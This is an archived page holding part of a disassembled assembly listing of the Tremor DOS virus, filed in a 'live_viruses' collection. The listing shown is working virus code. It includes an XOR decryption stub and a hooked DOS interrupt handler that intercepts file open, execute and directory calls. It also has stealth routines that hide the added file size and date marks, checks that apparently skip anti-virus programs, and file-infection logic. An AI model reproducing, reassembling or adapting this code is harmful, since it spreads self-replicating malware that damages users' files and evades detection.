home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / tremor2.asm < prev    next >
Assembly Source File  |  1993-04-21  |  72KB  |  2,930 lines

  1. ; File Name        : TREMOR.COM
  2. ; Current Date/Time    : Wed Apr 21 01:46:16 1993
  3. ; Disassembly done with Master Core Disassembler
  4. ; Options used:
  5. ; -U2
  6. ; -DF
  7. ; -P9
  8. ; -F1
  9. ; -LH00100
  10. ; -LX00104
  11. ; -LH0C46C
  12. ; -LH0C46E
  13. ; -LH0C48C
  14. ; -VB00
  15. ; -VC70
  16.  
  17.         .286P
  18.  
  19. S00100  SEGMENT
  20.         ASSUME  CS:S00100, DS:S00100, ES:S00100, SS:NOTHING
  21.  
  22.         org     0100h
  23.  
  24.  
  25. H0000_0100:
  26.     jmp    H0000_C489        ;00100    E986C3
  27. ;---------------------------------------
  28.     nop                ;00103    90
  29. ;---------------------------------------
  30. ;MEM: Data in Code Area
  31. X0000_0104     db      90h           ;00104
  32.     db    0C367h dup(90h)     ;00105
  33. ;---------------------------------------
  34. H0000_C46C:
  35. ;---------------------------------------
  36. ;DOS0-SYS TERMINATE Program, INT 20h
  37. ;INT: 20h
  38.     int    20h            ;0C46C    CD20
  39. ;---------------------------------------
  40. H0000_C46E:
  41.     nop                ;0C46E    90
  42.     mov    di,0C489h        ;0C46F    BF89C4
  43.     and    ax,ax            ;0C472    23C0        #
  44.     mov    bx,0E4F1h        ;0C474    BBF1E4
  45.     mov    cx,0891h        ;0C477    B99108
  46.     push    ds            ;0C47A    1E
  47.  
  48. ;SEG: ES Change - Indefinite
  49.     pop    es            ;0C47B    07
  50. H0000_C47C:
  51.     xor    [di],bx         ;0C47C    311D        1
  52.     sti                ;0C47E    FB
  53.     add    bx,0F6F5h        ;0C47F    81C3F5F6
  54.  
  55. ;ASM: Synonym
  56. ;A    sub    di,-02h         ;0C483    83EFFE
  57.        db      83h,0EFh,0FEh
  58.  
  59.     loop    H0000_C47C        ;0C486    E2F4
  60.     nop                ;0C488    90
  61. H0000_C489:
  62.     jmp    H0000_D079        ;0C489    E9ED0B
  63. ;---------------------------------------
  64. H0000_C48C:
  65.     jmp    Short H0000_C499    ;0C48C    EB0B
  66. ;- - - - - - - - - - - - - - - - - - - -
  67.     nop                ;0C48E    90
  68.     nop                ;0C48F    90
  69.     nop                ;0C490    90
  70.     jmp    H0000_D079        ;0C491    E9E50B
  71. ;---------------------------------------
  72. H0000_C494:
  73.     call    H0000_CFC8        ;0C494    E8310B         1
  74.  
  75. ;MEM: Possible Data - Invalid Code
  76. ;A    jmp                ;0C497    E992
  77.        db      0E9h,92h
  78.  
  79. ;---------------------------------------
  80. H0000_C499:
  81.     add    bp,ds:[3E80h]        ;0C499    032E803E     . >
  82.  
  83. ;SEG: SP Change - Indefinite
  84.     ror    Word Ptr [si],cl    ;0C49D    D30C
  85.     add    [si-0Bh],si        ;0C49F    0174F5         t
  86.  
  87. ;SEG: CS Override
  88.     mov    cs:[0C3Dh],si        ;0C4A2    2E89363D0C    . 6=
  89.     mov    si,0C3Dh        ;0C4A7    BE3D0C         =
  90.  
  91. ;SEG: CS Override
  92.     mov    cs:[si-16h],ds        ;0C4AA    2E8C5CEA    . \
  93.     push    cs            ;0C4AE    0E
  94.  
  95. ;SEG: DS Change - 0000h
  96.     pop    ds            ;0C4AF    1F
  97.  
  98. ;SEG: SP Change - Indefinite
  99.     mov    [si-0Ch],ax        ;0C4B0    8944F4         D
  100.  
  101. ;SEG: SP Change - Indefinite
  102.     mov    [si-09h],bx        ;0C4B3    895CF7         \
  103.  
  104. ;SEG: SP Change - Indefinite
  105.     mov    [si-06h],cx        ;0C4B6    894CFA         L
  106.  
  107. ;SEG: SP Change - Indefinite
  108.     mov    [si-03h],dx        ;0C4B9    8954FD         T
  109.  
  110. ;SEG: SP Change - Indefinite
  111.     mov    [si+03h],di        ;0C4BC    897C03         |
  112.  
  113. ;SEG: SP Change - Indefinite
  114.     mov    [si+06h],bp        ;0C4BF    896C06         l
  115.     mov    [si-11h],es        ;0C4C2    8C44EF         D
  116.     cmp    Byte Ptr [si+0Bh],01h    ;0C4C5    807C0B01     |
  117.     jmp    Short H0000_C506    ;0C4C9    EB3B         ;
  118. ;- - - - - - - - - - - - - - - - - - - -
  119.     add    al,ah            ;0C4CB    02C4
  120.     and    al,0Fh            ;0C4CD    240F        $
  121.     add    ah,al            ;0C4CF    02E0
  122.     and    ah,0Fh            ;0C4D1    80E40F
  123.     push    ax            ;0C4D4    50        P
  124.     mov    dx,03DAh        ;0C4D5    BADA03
  125.  
  126. ;PORT Input: 3DAh - CGA/EGA Status
  127.     in    al,dx            ;0C4D8    EC
  128.     pop    bx            ;0C4D9    5B        [
  129.     mov    al,08h            ;0C4DA    B008
  130.     mov    ah,bl            ;0C4DC    8AE3
  131.     mov    dl,0D4h         ;0C4DE    B2D4
  132.  
  133. ;PORT Output: 3D4h - CGA/EGA Reg Index
  134.     out    dx,ax            ;0C4E0    EF
  135.     mov    dl,0C0h         ;0C4E1    B2C0
  136.     mov    al,33h            ;0C4E3    B033         3
  137.  
  138. ;PORT Output: 3C0h - EGA Attrs
  139.     out    dx,al            ;0C4E5    EE
  140.     mov    al,bh            ;0C4E6    8AC7
  141.  
  142. ;PORT Output: 3C0h - EGA Attrs
  143.     out    dx,al            ;0C4E8    EE
  144.     call    H0000_CFC8        ;0C4E9    E8DC0A
  145.  
  146.     push    ax            ;0C4EC    50        P
  147.     xor    cx,cx            ;0C4ED    33C9        3
  148.     mov    al,0B6h         ;0C4EF    B0B6
  149.  
  150. ;PORT Output: 043h - 8253 SYS Timer Set Mode
  151.     out    43h,al            ;0C4F1    E643         C
  152.     mov    cl,ah            ;0C4F3    8ACC
  153.     sal    al,1            ;0C4F5    D0E0
  154.     sal    cx,1            ;0C4F7    D1E1
  155.  
  156. ;PORT Input: 061h - 8255 PPI-B KBD, SYS Sw, Speaker
  157.     in    al,61h            ;0C4F9    E461         a
  158.     push    ax            ;0C4FB    50        P
  159.     or    al,03h            ;0C4FC    0C03
  160.  
  161. ;PORT Output: 061h - 8255 PPI-B KBD, SYS Sw, Speaker
  162.     out    61h,al            ;0C4FE    E661         a
  163. H0000_C500:
  164.  
  165. ;MEM: Timing Loop
  166.     loop    H0000_C500        ;0C500    E2FE
  167.     pop    ax            ;0C502    58        X
  168.  
  169. ;PORT Output: 061h - 8255 PPI-B KBD, SYS Sw, Speaker
  170.     out    61h,al            ;0C503    E661         a
  171.     pop    ax            ;0C505    58        X
  172. H0000_C506:
  173.     cmp    ah,57h            ;0C506    80FC57          W
  174.     jz    H0000_C53B        ;0C509    7430        t0
  175.     cmp    ah,42h            ;0C50B    80FC42          B
  176.     jz    H0000_C53B        ;0C50E    742B        t+
  177.     cmp    ah,3Fh            ;0C510    80FC3F          ?
  178.     jz    H0000_C524        ;0C513    740F        t
  179.     cmp    ah,50h            ;0C515    80FC50          P
  180.     jb    H0000_C51F        ;0C518    7205        r
  181.     cmp    ah,6Ch            ;0C51A    80FC6C          l
  182.     jb    H0000_C538        ;0C51D    7219        r
  183. H0000_C51F:
  184.     cmp    ah,30h            ;0C51F    80FC30          0
  185.     jnz    H0000_C529        ;0C522    7505        u
  186. H0000_C524:
  187.     cmp    bl,04h            ;0C524    80FB04
  188.     ja    H0000_C53B        ;0C527    7712        w
  189. H0000_C529:
  190.     cmp    ah,3Ch            ;0C529    80FC3C          <
  191.     ja    H0000_C533        ;0C52C    7705        w
  192.     cmp    ah,12h            ;0C52E    80FC12
  193.     ja    H0000_C538        ;0C531    7705        w
  194. H0000_C533:
  195.     cmp    ah,0Eh            ;0C533    80FC0E
  196.     ja    H0000_C53B        ;0C536    7703        w
  197. H0000_C538:
  198.     jmp    Near Ptr H0000_C494    ;0C538    E959FF         Y
  199. ;---------------------------------------
  200. H0000_C53B:
  201.     xor    bx,bx            ;0C53B    33DB        3
  202.     call    H0000_CEE7        ;0C53D    E8A709
  203.  
  204. ;SEG: CS Override
  205.     mov    cs:[04ADh],cl        ;0C540    2E880EAD04    .
  206.     mov    al,00h            ;0C545    B000
  207.     call    H0000_CCCE        ;0C547    E88407
  208.  
  209.     mov    al,15h            ;0C54A    B015
  210.     mov    di,009Eh        ;0C54C    BF9E00
  211.     call    H0000_C831        ;0C54F    E8DF02
  212.  
  213.     mov    di,009Ah        ;0C552    BF9A00
  214.     call    H0000_C858        ;0C555    E80003
  215.  
  216.     mov    al,21h            ;0C558    B021         !
  217.     mov    di,0092h        ;0C55A    BF9200
  218.     call    H0000_C831        ;0C55D    E8D102
  219.  
  220.     mov    di,0086h        ;0C560    BF8600
  221.     call    H0000_C858        ;0C563    E8F202
  222.  
  223.     mov    al,24h            ;0C566    B024         $
  224.     mov    di,008Eh        ;0C568    BF8E00
  225.     call    H0000_C831        ;0C56B    E8C302
  226.  
  227.     mov    dx,109Fh        ;0C56E    BA9F10
  228.     push    cs            ;0C571    0E
  229.  
  230. ;SEG: DS Change - 0000h
  231.     pop    ds            ;0C572    1F
  232.     call    H0000_C861        ;0C573    E8EB02
  233.  
  234.     call    H0000_CFC8        ;0C576    E84F0A         O
  235.  
  236.     cmp    ah,3Fh            ;0C579    80FC3F          ?
  237.     jz    H0000_C581        ;0C57C    7403        t
  238.     jmp    Near Ptr H0000_C609    ;0C57E    E98800
  239. ;---------------------------------------
  240. H0000_C581:
  241.     jcxz    H0000_C590        ;0C581    E30D
  242.     mov    ax,5700h        ;0C583    B80057          W
  243.     call    H0000_C863        ;0C586    E8DA02
  244.  
  245.     jb    H0000_C590        ;0C589    7205        r
  246.     cmp    dh,0C7h         ;0C58B    80FEC7
  247.     ja    H0000_C593        ;0C58E    7703        w
  248. H0000_C590:
  249.     jmp    Near Ptr H0000_C616    ;0C590    E98300
  250. ;---------------------------------------
  251. H0000_C593:
  252.     call    H0000_C8CE        ;0C593    E83803         8
  253.  
  254.     jb    H0000_C590        ;0C596    72F8        r
  255.     call    H0000_CE52        ;0C598    E8B708
  256.  
  257.     jnz    H0000_C590        ;0C59B    75F3        u
  258.     call    H0000_CFC4        ;0C59D    E8240A         $
  259.  
  260. ;SEG: CS Override
  261.     mov    bx,cs:[055Dh]        ;0C5A0    2E8B1E5D05    .  ]
  262.  
  263. ;SEG: CS Override
  264.     mov    dx,cs:[0560h]        ;0C5A5    2E8B166005    .  `
  265.     call    H0000_CEC1        ;0C5AA    E81409
  266.  
  267.     ja    H0000_C5C5        ;0C5AD    7716        w
  268.     add    bx,cx            ;0C5AF    03D9
  269.  
  270. ;ASM: Synonym
  271. ;A    adc    dx,+00h         ;0C5B1    83D200
  272.        db      83h,0D2h,00h
  273.  
  274.     call    H0000_CEC1        ;0C5B4    E80A09
  275.  
  276.     jbe    H0000_C5C7        ;0C5B7    760E        v
  277.  
  278. ;SEG: CS Override
  279.     sub    bx,cs:[1065h]        ;0C5B9    2E2B1E6510    .+ e
  280.     sub    bx,cx            ;0C5BE    2BD9        +
  281.     neg    bx            ;0C5C0    F7DB
  282.     push    bx            ;0C5C2    53        S
  283.     jmp    Short H0000_C5C8    ;0C5C3    EB03
  284. ;- - - - - - - - - - - - - - - - - - - -
  285. H0000_C5C5:
  286.     xor    cx,cx            ;0C5C5    33C9        3
  287. H0000_C5C7:
  288.     push    cx            ;0C5C7    51        Q
  289. H0000_C5C8:
  290.     call    H0000_CFC8        ;0C5C8    E8FD09
  291.  
  292.     pop    cx            ;0C5CB    59        Y
  293.     call    H0000_C863        ;0C5CC    E89402
  294.  
  295.     jb    H0000_C607        ;0C5CF    7236        r6
  296.     pushf                ;0C5D1    9C
  297.     push    ax            ;0C5D2    50        P
  298.     push    si            ;0C5D3    56        V
  299.     push    di            ;0C5D4    57        W
  300.     push    ds            ;0C5D5    1E
  301.     push    es            ;0C5D6    06
  302.     push    ds            ;0C5D7    1E
  303.  
  304. ;SEG: ES Change - Indefinite
  305.     pop    es            ;0C5D8    07
  306.     push    cs            ;0C5D9    0E
  307.  
  308. ;SEG: DS Change - 0000h
  309.     pop    ds            ;0C5DA    1F
  310.     mov    di,055Dh        ;0C5DB    BF5D05         ]
  311.  
  312. ;ASM: Synonym
  313. ;A    cmp    Word Ptr [di+03h],+00h    ;0C5DE    837D0300     }
  314.        db      83h,7Dh,03h,00h
  315.  
  316.     ja    H0000_C601        ;0C5E2    771D        w
  317.  
  318. ;ASM: Synonym
  319. ;A    cmp    Word Ptr [di],+18h    ;0C5E4    833D18         =
  320.        db      83h,3Dh,18h
  321.  
  322.     jnb    H0000_C601        ;0C5E7    7318        s
  323.     mov    ax,[di]         ;0C5E9    8B05
  324.     mov    di,dx            ;0C5EB    8BFA
  325.     mov    si,ax            ;0C5ED    8BF0
  326.     add    si,104Dh        ;0C5EF    81C64D10      M
  327.  
  328. ;ASM: Synonym
  329. ;A    cmp    cx,+18h         ;0C5F3    83F918
  330.        db      83h,0F9h,18h
  331.  
  332.     jb    H0000_C5FE        ;0C5F6    7206        r
  333.  
  334. ;ASM: Synonym
  335. ;A    sub    ax,Word Ptr 0018h    ;0C5F8    2D1800        -
  336.        db      2Dh,18h,00h
  337.  
  338.     neg    ax            ;0C5FB    F7D8
  339.     xchg    ax,cx            ;0C5FD    91
  340. H0000_C5FE:
  341.     cld                ;0C5FE    FC
  342.  
  343. ; ds=0000h
  344.     rep    movsb            ;0C5FF    F3A4
  345. H0000_C601:
  346.  
  347. ;SEG: ES Change - Indefinite
  348.     pop    es            ;0C601    07
  349.  
  350. ;SEG: DS Change - Indefinite
  351.     pop    ds            ;0C602    1F
  352.     pop    di            ;0C603    5F        _
  353.     pop    si            ;0C604    5E        ^
  354.     pop    ax            ;0C605    58        X
  355.     popf                ;0C606    9D
  356. H0000_C607:
  357.     jmp    Short H0000_C637    ;0C607    EB2E         .
  358. ;- - - - - - - - - - - - - - - - - - - -
  359. H0000_C609:
  360.     cmp    ax,4202h        ;0C609    3D0242        = B
  361.     jnz    H0000_C63E        ;0C60C    7530        u0
  362.     mov    ax,5700h        ;0C60E    B80057          W
  363.     call    H0000_C863        ;0C611    E84F02         O
  364.  
  365.     jnb    H0000_C619        ;0C614    7303        s
  366. H0000_C616:
  367.     jmp    H0000_C81D        ;0C616    E90402
  368. ;---------------------------------------
  369. H0000_C619:
  370.     cmp    dh,0C8h         ;0C619    80FEC8
  371.     jb    H0000_C616        ;0C61C    72F8        r
  372.     call    H0000_C8CE        ;0C61E    E8AD02
  373.  
  374.     jb    H0000_C616        ;0C621    72F3        r
  375.     call    H0000_CE52        ;0C623    E82C08         ,
  376.  
  377.     jnz    H0000_C616        ;0C626    75EE        u
  378.     call    H0000_CFC4        ;0C628    E89909
  379.  
  380.     pushf                ;0C62B    9C
  381.     sub    dx,0FA0h        ;0C62C    81EAA00F
  382.  
  383. ;ASM: Synonym
  384. ;A    sbb    cx,+00h         ;0C630    83D900
  385.        db      83h,0D9h,00h
  386.  
  387.     popf                ;0C633    9D
  388.     call    H0000_C863        ;0C634    E82C02         ,
  389.  
  390. H0000_C637:
  391.  
  392. ;SEG: CS Override
  393.     mov    cx,cs:[0C37h]        ;0C637    2E8B0E370C    .  7
  394.     jmp    Short H0000_C65B    ;0C63C    EB1D
  395. ;- - - - - - - - - - - - - - - - - - - -
  396. H0000_C63E:
  397.     jmp    Short H0000_C65D    ;0C63E    EB1D
  398. ;- - - - - - - - - - - - - - - - - - - -
  399.     cmp    ah,4Ah            ;0C640    80FC4A          J
  400.     jz    H0000_C64A        ;0C643    7405        t
  401.     cmp    ah,48h            ;0C645    80FC48          H
  402.     jnz    H0000_C65D        ;0C648    7513        u
  403. H0000_C64A:
  404.     call    H0000_CFC4        ;0C64A    E87709         w
  405.  
  406.     call    H0000_C863        ;0C64D    E81302
  407.  
  408.     jnb    H0000_C65B        ;0C650    7309        s
  409.     cmp    al,08h            ;0C652    3C08        <
  410.     jnz    H0000_C65B        ;0C654    7505        u
  411.     sub    bx,010Ch        ;0C656    81EB0C01
  412.     stc                ;0C65A    F9
  413. H0000_C65B:
  414.     jmp    Short H0000_C69D    ;0C65B    EB40         @
  415. ;- - - - - - - - - - - - - - - - - - - -
  416. H0000_C65D:
  417.  
  418. ;MEM: Possible Data Area
  419. ;A    jmp    Short H0000_C65F    ;0C65D    EB00
  420.        db      0EBh,00h
  421.  
  422. ;- - - - - - - - - - - - - - - - - - - -
  423. H0000_C65F:
  424.     cmp    ah,4Eh            ;0C65F    80FC4E          N
  425.     jb    H0000_C6A0        ;0C662    723C        r<
  426.     cmp    ah,4Fh            ;0C664    80FC4F          O
  427.     ja    H0000_C6A0        ;0C667    7737        w7
  428.     call    H0000_C863        ;0C669    E8F701
  429.  
  430.     pushf                ;0C66C    9C
  431.     push    ax            ;0C66D    50        P
  432.     jb    H0000_C698        ;0C66E    7228        r(
  433.     call    H0000_C86A        ;0C670    E8F701
  434.  
  435. ;SEG: ES Override
  436.     cmp    es:[bx+19h],al        ;0C673    26384719    &8G
  437.     jb    H0000_C698        ;0C677    721F        r
  438.  
  439. ;SEG: ES Override
  440.     sub    es:[bx+19h],al        ;0C679    26284719    &(G
  441.     mov    si,001Ah        ;0C67D    BE1A00
  442. H0000_C680:
  443.  
  444. ;SEG: ES Override
  445.     cmp    Byte Ptr es:[bx+si+02h],00h
  446.                     ;0C680    2680780200    & x
  447.     jnz    H0000_C68E        ;0C685    7507        u
  448.  
  449. ;SEG: ES Override
  450.     cmp    Word Ptr es:[bx+si],2000h
  451.                     ;0C687    2681380020    & 8
  452.     jb    H0000_C698        ;0C68C    720A        r
  453. H0000_C68E:
  454.  
  455. ;SEG: ES Override
  456.     sub    Word Ptr es:[bx+si],0FA0h
  457.                     ;0C68E    268128A00F    & (
  458.  
  459. ;ASM: Synonym
  460. ;SEG: ES Override
  461. ;A    sbb    Word Ptr es:[bx+si+02h],+00h
  462.                     ;0C693    2683580200    & X
  463.        db      26h,83h,58h,02h,00h
  464.  
  465. H0000_C698:
  466.     call    H0000_CFC4        ;0C698    E82909         )
  467.  
  468.     pop    ax            ;0C69B    58        X
  469. H0000_C69C:
  470.     popf                ;0C69C    9D
  471. H0000_C69D:
  472.  
  473. ;ASM: Synonym
  474. ;A    retf    0002h            ;0C69D    CA0200
  475.        db      0CAh,02h,00h
  476.  
  477. ;---------------------------------------
  478. H0000_C6A0:
  479.     cmp    ah,11h            ;0C6A0    80FC11
  480.     jb    H0000_C6CE        ;0C6A3    7229        r)
  481.     cmp    ah,12h            ;0C6A5    80FC12
  482.     ja    H0000_C6CE        ;0C6A8    7724        w$
  483.     call    H0000_C863        ;0C6AA    E8B601
  484.  
  485.     pushf                ;0C6AD    9C
  486.     push    ax            ;0C6AE    50        P
  487.     cmp    al,0FFh         ;0C6AF    3CFF        <
  488.     jz    H0000_C698        ;0C6B1    74E5        t
  489.     call    H0000_C86A        ;0C6B3    E8B401
  490.  
  491. ;SEG: ES Override
  492.     cmp    Byte Ptr es:[bx],0FFh    ;0C6B6    26803FFF    & ?
  493.     jnz    H0000_C6BF        ;0C6BA    7503        u
  494.  
  495. ;ASM: Synonym
  496. ;A    add    bx,+07h         ;0C6BC    83C307
  497.        db      83h,0C3h,07h
  498.  
  499. H0000_C6BF:
  500.  
  501. ;SEG: ES Override
  502.     cmp    es:[bx+1Ah],al        ;0C6BF    2638471A    &8G
  503.     jb    H0000_C698        ;0C6C3    72D3        r
  504.  
  505. ;SEG: ES Override
  506.     sub    es:[bx+1Ah],al        ;0C6C5    2628471A    &(G
  507.     mov    si,001Dh        ;0C6C9    BE1D00
  508.     jmp    Short H0000_C680    ;0C6CC    EBB2
  509. ;---------------------------------------
  510. H0000_C6CE:
  511.     cmp    ah,6Ch            ;0C6CE    80FC6C          l
  512.     jnz    H0000_C6D7        ;0C6D1    7504        u
  513.     mov    dx,si            ;0C6D3    8BD6
  514.     jmp    Short H0000_C6DC    ;0C6D5    EB05
  515. ;- - - - - - - - - - - - - - - - - - - -
  516. H0000_C6D7:
  517.     cmp    ah,3Dh            ;0C6D7    80FC3D          =
  518.     jnz    H0000_C6EA        ;0C6DA    750E        u
  519. H0000_C6DC:
  520.  
  521. ;SEG: CS Override
  522.     inc    Word Ptr cs:[0C47h]    ;0C6DC    2EFF06470C    .  G
  523.     cmp    al,02h            ;0C6E1    3C02        <
  524.     jnz    H0000_C6EA        ;0C6E3    7505        u
  525. H0000_C6E5:
  526.     call    H0000_CDED        ;0C6E5    E80507
  527.  
  528.     jmp    Short H0000_C765    ;0C6E8    EB7B         {
  529. ;---------------------------------------
  530. H0000_C6EA:
  531.     cmp    ah,3Eh            ;0C6EA    80FC3E          >
  532.     jnz    H0000_C70A        ;0C6ED    751B        u
  533.     call    H0000_C863        ;0C6EF    E87101         q
  534.  
  535.     pushf                ;0C6F2    9C
  536.     push    ax            ;0C6F3    50        P
  537.     jb    H0000_C708        ;0C6F4    7212        r
  538.     call    H0000_CE88        ;0C6F6    E88F07
  539.  
  540.     cmp    bl,al            ;0C6F9    3AD8        :
  541.     jnz    H0000_C708        ;0C6FB    750B        u
  542.     call    H0000_CE81        ;0C6FD    E88107
  543.  
  544.     push    cs            ;0C700    0E
  545.  
  546. ;SEG: DS Change - 0000h
  547.     pop    ds            ;0C701    1F
  548.     mov    dx,0002h        ;0C702    BA0200
  549.     call    H0000_C941        ;0C705    E83902         9
  550.  
  551. H0000_C708:
  552.     jmp    Short H0000_C698    ;0C708    EB8E
  553. ;---------------------------------------
  554. H0000_C70A:
  555.     cmp    ah,57h            ;0C70A    80FC57          W
  556.     jnz    H0000_C751        ;0C70D    7542        uB
  557.     cmp    al,01h            ;0C70F    3C01        <
  558.     jz    H0000_C727        ;0C711    7414        t
  559.     call    H0000_CFC4        ;0C713    E8AE08
  560.  
  561.     call    H0000_C863        ;0C716    E84A01         J
  562.  
  563.     pushf                ;0C719    9C
  564.     jb    H0000_C724        ;0C71A    7208        r
  565.     cmp    dh,0C8h         ;0C71C    80FEC8
  566.     jb    H0000_C724        ;0C71F    7203        r
  567.     sub    dh,0C8h         ;0C721    80EEC8
  568. H0000_C724:
  569.     jmp    Near Ptr H0000_C69C    ;0C724    E975FF         u
  570. ;---------------------------------------
  571. H0000_C727:
  572.     cmp    dh,0C8h         ;0C727    80FEC8
  573.     jb    H0000_C732        ;0C72A    7206        r
  574.  
  575. ;SEG: CS Override
  576.     sub    Byte Ptr cs:[0C3Ah],0C8h;0C72C    2E802E3A0CC8    . .:
  577. H0000_C732:
  578.     call    H0000_C8CE        ;0C732    E89901
  579.  
  580.     jb    H0000_C765        ;0C735    722E        r.
  581.     call    H0000_C904        ;0C737    E8CA01
  582.  
  583.     call    H0000_C965        ;0C73A    E82802         (
  584.  
  585.     jb    H0000_C765        ;0C73D    7226        r&
  586.     call    H0000_C8FC        ;0C73F    E8BA01
  587.  
  588.     call    H0000_CFC4        ;0C742    E87F08
  589.  
  590.     add    dh,0C8h         ;0C745    80C6C8
  591.     call    H0000_C863        ;0C748    E81801
  592.  
  593.     pushf                ;0C74B    9C
  594.     sub    dh,0C8h         ;0C74C    80EEC8
  595.     jmp    Short H0000_C724    ;0C74F    EBD3
  596. ;---------------------------------------
  597. H0000_C751:
  598.     call    H0000_CFEB        ;0C751    E89708
  599.  
  600.     cmp    ah,4Ch            ;0C754    80FC4C          L
  601.     jnz    H0000_C767        ;0C757    750E        u
  602.  
  603. ;SEG: CS Override
  604.     mov    Byte Ptr cs:[02BCh],00h ;0C759    2EC606BC0200    .
  605.  
  606. ;SEG: CS Override
  607.     mov    Byte Ptr cs:[0172h],0Fh ;0C75F    2EC60672010F    .  r
  608. H0000_C765:
  609.     jmp    Short H0000_C7BE    ;0C765    EB57         W
  610. ;---------------------------------------
  611. H0000_C767:
  612.     cmp    ah,4Bh            ;0C767    80FC4B          K
  613.     jz    H0000_C76F        ;0C76A    7403        t
  614.     jmp    Near Ptr H0000_C7FE    ;0C76C    E98F00
  615. ;---------------------------------------
  616. H0000_C76F:
  617.     call    H0000_CE81        ;0C76F    E80F07
  618.  
  619.     cmp    al,00h            ;0C772    3C00        <
  620.     jz    H0000_C779        ;0C774    7403        t
  621.     jmp    Near Ptr H0000_C6E5    ;0C776    E96CFF         l
  622. ;---------------------------------------
  623. H0000_C779:
  624.  
  625. ;MEM: Possible Data Area
  626. ;A    jmp    Short H0000_C77B    ;0C779    EB00
  627.        db      0EBh,00h
  628.  
  629. ;- - - - - - - - - - - - - - - - - - - -
  630. H0000_C77B:
  631.     mov    dx,0FEF4h        ;0C77B    BAF4FE
  632.     call    H0000_CE90        ;0C77E    E80F07
  633.  
  634.     push    cs            ;0C781    0E
  635.  
  636. ;SEG: DS Change - 0000h
  637.     pop    ds            ;0C782    1F
  638.     mov    Byte Ptr ds:[03D8h],17h ;0C783    C606D80317
  639.     mov    Byte Ptr ds:[029Dh],1Dh ;0C788    C6069D021D
  640.     mov    Byte Ptr ds:[02BCh],00h ;0C78D    C606BC0200
  641.     call    H0000_CFC8        ;0C792    E83308         3
  642.  
  643.     call    H0000_CDB9        ;0C795    E82106         !
  644.  
  645.     jb    H0000_C7BE        ;0C798    7224        r$
  646.  
  647. ;SEG: CS Override
  648.     cmp    Byte Ptr cs:[00A2h],03h ;0C79A    2E803EA20003    . >
  649.     jb    H0000_C7BE        ;0C7A0    721C        r
  650.  
  651. ;SEG: CS Override
  652.     mov    ax,Word Ptr cs:[00C0h]    ;0C7A2    2EA1C000    .
  653.     cmp    ax,4248h        ;0C7A6    3D4842        =HB
  654.     jz    H0000_C7B5        ;0C7A9    740A        t
  655.     cmp    ax,4C43h        ;0C7AB    3D434C        =CL
  656.     jz    H0000_C7B5        ;0C7AE    7405        t
  657.     cmp    ax,4353h        ;0C7B0    3D5343        =SC
  658.     jnz    H0000_C7C0        ;0C7B3    750B        u
  659. H0000_C7B5:
  660.     call    H0000_CFC8        ;0C7B5    E81008
  661.  
  662.     call    H0000_CDED        ;0C7B8    E83206         2
  663.  
  664.     call    H0000_CE81        ;0C7BB    E8C306
  665.  
  666. H0000_C7BE:
  667.     jmp    Short H0000_C81D    ;0C7BE    EB5D         ]
  668. ;---------------------------------------
  669. H0000_C7C0:
  670.     push    cs            ;0C7C0    0E
  671.  
  672. ;SEG: ES Change - 0000h
  673.     pop    es            ;0C7C1    07
  674.     mov    di,0CB8h        ;0C7C2    BFB80C
  675.     mov    cx,0008h        ;0C7C5    B90800
  676.     cld                ;0C7C8    FC
  677.  
  678. ; cx=0008h es=0000h di=0CB8h
  679.     repne    scasw            ;0C7C9    F2AF
  680.     jnz    H0000_C7EA        ;0C7CB    751D        u
  681.     cmp    ax,4843h        ;0C7CD    3D4348        =CH
  682.     jnz    H0000_C7E1        ;0C7D0    750F        u
  683.  
  684. ;SEG: CS Override
  685.     cmp    Word Ptr cs:[00C2h],444Bh
  686.                     ;0C7D2    2E813EC2004B44    . >  KD
  687.     jnz    H0000_C7E1        ;0C7D9    7506        u
  688.  
  689. ;SEG: CS Override
  690.     mov    Byte Ptr cs:[02BCh],6Fh ;0C7DB    2EC606BC026F    .    o
  691. H0000_C7E1:
  692.     call    H0000_CE8D        ;0C7E1    E8A906
  693.  
  694. ;SEG: CS Override
  695.     mov    Byte Ptr cs:[03D8h],00h ;0C7E4    2EC606D80300    .
  696. H0000_C7EA:
  697.  
  698. ;SEG: CS Override
  699.     cmp    Word Ptr cs:[00C1h],4A52h
  700.                     ;0C7EA    2E813EC100524A    . >  RJ
  701.     jnz    H0000_C7F9        ;0C7F1    7506        u
  702.  
  703. ;SEG: CS Override
  704.     mov    Byte Ptr cs:[0172h],23h ;0C7F3    2EC606720123    .  r #
  705. H0000_C7F9:
  706.     call    H0000_CFC8        ;0C7F9    E8CC07
  707.  
  708.     jmp    Short H0000_C80D    ;0C7FC    EB0F
  709. ;- - - - - - - - - - - - - - - - - - - -
  710. H0000_C7FE:
  711.     cmp    ah,43h            ;0C7FE    80FC43          C
  712.     jnz    H0000_C81D        ;0C801    751A        u
  713.     or    al,al            ;0C803    0AC0
  714.     jnz    H0000_C817        ;0C805    7510        u
  715.     cmp    bx,0FACEh        ;0C807    81FBCEFA
  716.     jnz    H0000_C81D        ;0C80B    7510        u
  717. H0000_C80D:
  718.     call    H0000_C92A        ;0C80D    E81A01
  719.  
  720.     jnz    H0000_C817        ;0C810    7505        u
  721.     mov    al,01h            ;0C812    B001
  722.     call    H0000_CCCE        ;0C814    E8B704
  723.  
  724. H0000_C817:
  725.     call    H0000_CFC8        ;0C817    E8AE07
  726.  
  727.     call    H0000_C941        ;0C81A    E82401         $
  728.  
  729. H0000_C81D:
  730.     call    H0000_CFC4        ;0C81D    E8A407
  731.  
  732. ;SEG: CS Override
  733.     cmp    cs:[0D09h],ax        ;0C820    2E3906090D    .9
  734.     jnz    H0000_C82C        ;0C825    7505        u
  735.  
  736. ;SEG: CS Override
  737.     mov    ax,Word Ptr cs:[0C47h]    ;0C827    2EA1470C    . G
  738.     iret                ;0C82B    CF
  739. ;---------------------------------------
  740. H0000_C82C:
  741.  
  742. ;MEM: JMP  DWORD PTR CS:[0086H]
  743.  
  744. ;SEG: CS Override
  745.     jmp    DWord Ptr cs:[0086h]    ;0C82C    2EFF2E8600    . .
  746. ;---------------------------------------
  747. H0000_C831:
  748.     mov    ah,35h            ;0C831    B435         5
  749.     call    H0000_C863        ;0C833    E82D00         -
  750.  
  751. ;SEG: CS Override
  752.     mov    cs:[di],bx        ;0C836    2E891D        .
  753.  
  754. ;SEG: CS Override
  755.     mov    cs:[di+02h],es        ;0C839    2E8C4502    . E
  756.     ret                ;0C83D    C3
  757. ;---------------------------------------
  758. H0000_C83E:
  759.     mov    al,15h            ;0C83E    B015
  760.     mov    di,009Eh        ;0C840    BF9E00
